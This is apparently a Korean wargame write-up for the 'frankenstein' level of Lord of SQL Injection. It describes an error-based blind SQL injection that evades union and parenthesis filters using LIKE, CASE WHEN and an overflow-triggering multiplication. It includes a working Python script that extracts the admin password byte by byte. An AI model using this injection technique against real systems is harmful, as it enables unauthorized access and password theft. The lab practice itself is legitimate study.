전공쪽/Lord of Sql injection

[los] frankenstein

OSOR2 2020. 12. 15. 15:31

일단 union 필터링, 괄호 필터링인 것 같다. 그리고 pw를 알아내야 한다. 

error based sql injection으로 풀 수 있는 문제이다.  그런데 괄호가 다 필터링 되어있어서 함수를 사용하는게 힘들 것 같다. 

일단 괄호가 필요없는 like와 case when then을 사용해주기로 했다. 그리고 비밀번호의 길이를 구할 수 있는 방법이 딱히 없는 것 같아서 생각 안하기로 했다. 이건 그냥 모든 ascii 검사했는데 안나오면 그 때 멈추면 되기 때문에.. 

 

그런데 error을 어떻게 유발할까 많이 생각을 해보았고 함수는 안되서 큰수를 곱해주는 것을 생각했다. 0으로 나누는 것은 error가 뜨지 않고 warning 이 나온다. 

이 방법을 사용해서 like 함수로 비밀번호를 구하는 자동화를 만들겠다. 

....

그런데 0x00~0x7f까지 다 넣어봤는데 일치하지 않는다고 한다. 이러면 인코딩 방법의 차이이다. 

이번에는 like로 인코딩을 비교할 수 있다는 것을 알았기 때문에 좀더 쉬울 것 같다. 

이렇게 말이다. 0x25는 %이다. 이를 이용하면 xavis도 쉽게 풀 수 있었을 텐데...

그래서 이런게 나왔다. error는 정상적인 과정이다. 

0xf1efeb7473f1eb6bf1e37266 이 문자열이라는 건데.. 이딴건 없었다..

id='admin'을 안넣었기 때문에 이를 넣고 다시 돌려보았다.. 

 

아니 진짜 개뻘짓을 너무 많이했다. .......... 

#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vffci2mpk9e288tab335qko"}
password=0

whole_time=0
while True :
	p=False
	errorEx="999999999999999*999999999999999999"
	url="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw='"
	url+=" or case when id='admin' and pw Like "
	for i in range(48,255) :
		if i==0x25 :
			continue
		if password!=0 :
			purl=url+'0x'+format(password+i,'02x')+'25'
			purl+=' then '+errorEx+' else 1 end %23'
		else :
			purl=url+'0x'+format(i,'02x')+'25'
			purl+=' then '+errorEx+' else 1 end %23'

		req=requests.get(purl,headers=header)
		#print(purl)
		if "addslashes" not in req.text :
			password+=i
			password=password<<8
			print('[+]'+str(hex(password)))
			p=True
			break
	if p==False :
		print('error')
		break
print('Password : '+password)